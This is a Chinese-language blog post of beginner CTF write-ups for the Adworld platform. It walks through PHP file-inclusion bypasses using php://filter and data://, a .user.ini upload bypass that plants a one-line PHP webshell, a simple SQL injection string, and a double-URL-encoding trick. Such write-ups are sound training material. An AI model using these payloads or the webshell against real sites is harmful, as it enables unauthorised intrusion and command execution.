攻防世界新手难度一刷题

fileclude

打开题目是一段代码

get传file1,file2不为空

file_get_contents($file2) === "hello ctf""

file_get_contents不会执行php

这里想到用伪协议,php://input或者data://text/plain

令file2=data:,hello ctf绕过

include($file1)利用iclude读取flag.php

这里用php://filter/伪协议防止flag.php执行

令file1=php://filter/read=convert.base64-encode/resource=flag.php

传入file1、file2,base64解码成功得到flag

fileinclude

 打开题目

报错是未定义的索引language
 提示请你选择你想要的语言

不是太理解,右键查看源代码发现一段php代码

 重点看标红的地方,从cookie获取language值,存入变量lan

然后判断lan是否存在,存在则包含lan.".php"

还是一道文件包含只不过要用cookie传参

令cookie:language=php://filter/read=convert.base64-encode/resource=flag(这次不用加.php,因为后面拼接了一个.php)

成功拿到flag
 

easyupload

 打开题目

上传1.php不成功

然后尝试用.htaccess绕过创建.htaccess写入AddType application/x-httpd-php .jpg,可以将php文件当作php文件执行

也不成功,改文件头为GIF89a,抓包改文件类型为image/jpeg还是没成功

然后尝试.user.ini,创建.user.ini写入(当执行当前文件目录下PHP文件时自动将1.jpg当作php执行)

GIF89a
auto_append_file=1.jpg

抓包改文件类型为image/jpeg

发现上传成功

接下来就是上传一个包含php木马的jpg ,写入<?php system($_GET[1]);?>不成功,好像是不让有php,?>这个也不行

所以创建一个1.jpg写入

GIF89a
<?=system($_GET[1]);

上传成功了,找一下上传目录里的php文件,访问传参就可以执行命令了

这里有两个方法,第一个你可以扫目录发现uploads/index.php
第二个方法是上传的时候查看上传目录

然后寻找flag,find / -name 'flag' 
反倒最下面可以看到执行的结果

拿到flag

inget

打开题目

让输入一个id 
想到是sql注入
先试一下是不是整数绕过id=1 or 1=1#后面注释符换成--+再试一下没反应,应该不是整数型

再试一下是不是字符id=1' or 1=1#/1" or 1=1#,后面注释符换成--+再试一下
发现id=1' or 1=1 --+成功了,回显出flag

php2

 打开题目

dirsreach 扫目录发现扫不到有用的东西

利用phps读取源码,访问index.phps

 

让id不等于admin,然后给id用url解码,弱比较等于admin然后会输出key

弱比较可以用ascll编码绕过将admin编译成%61dmin

然后因为后面要url解码,所以再url编码一次,其实就相当于两次url编码绕过

成功拿到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值